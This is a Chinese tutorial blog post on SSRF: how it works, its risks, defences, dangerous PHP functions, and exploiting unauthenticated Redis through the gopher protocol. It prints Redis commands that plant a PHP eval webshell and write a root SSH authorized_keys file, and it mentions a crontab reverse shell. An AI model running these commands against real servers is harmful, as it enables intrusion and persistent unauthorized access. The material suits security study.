SSRF漏洞原理和利用
SSRF
服务器请求伪造
可以看到,SSRF是基于一些其他漏洞,比如XXE,文件包含等,XXE参数访问其他网站的实体,就向改网站发起了请求
比如文件包含的远程文件包含
攻击者转给服务器,让服务器向其他网站发起请求
(那就需要知道其他网站的内网IP)
SSRF漏洞危害
- 端口扫描
- 内网web应用指纹识别
- 攻击内网web应用
SSRF漏洞防御及修复
- 限制请求的端口只能为web端口,只允许1访问HTTP和HTTPS的请求
- 限制白名单
- 禁止30x跳转
- 屏蔽返回的详细信息
SSRF相关危险函数
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取的函数以PHP为例,涉及到的函数有
- file_get_contents()——file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取
- fsockopen()—— fsockopen是打开一个网络连接或者Unix套接字连接
- curl_exec)——利用方式很多,最常见的是通过file、dict、gopher这三个协议来进行渗透
进行SSRF攻击的三个问题:
1.如何知道内网网端
2.如何知道该网端开启的服务
3.如何知道这项服务所使用的cms
ssrf漏洞利用
redis配合gopher协议进行ssrf
- gopher是ssrf中的万金油,利用此协议可以攻击内网的redis,ftp等,也可以发送get.post请求
- 利用条件:能未授权或者弱口令认证访问到redis服务器
- redis服务器特点
1.未授权访问。在访问redis数据库时,不需要提供用户名和密码
2.具有root权限
3.可以读写文件
4.默认端口号为6379
redis常见的ssrf攻击方式大概有如下几种:
1.绝对路径写webshell
前提:知道web的绝对路径
fullshall
set 1' <?php eval($_GET["cmd"];?>'
config set dir /var/www/html
config set dbfilename shell.php
save
2.写ssh公钥
前提:目标机开启ssh服务
说明:如果.ssh目录存在,则直接写入~/.ssh/authorized_keys;如果不存在,则可以用crontab创建该目录
方法:本地生成rsa公私钥对,将公钥通过redis写入.ssh目录下的authorized-key文件下,实现ssh免密登录
flushall
set 1 '生成的RSA公私钥对'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
3.写contrab计划任务反弹shell
dict伪协议:一般用于端口探测
用gopher协议get或post提交上述payload,提交的内容不要url编码
python脚本生成
?url=gopher://192.168.3.29:6379/.....
这三种方法能攻击成功的前提都是:redis是以root权限运行的
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通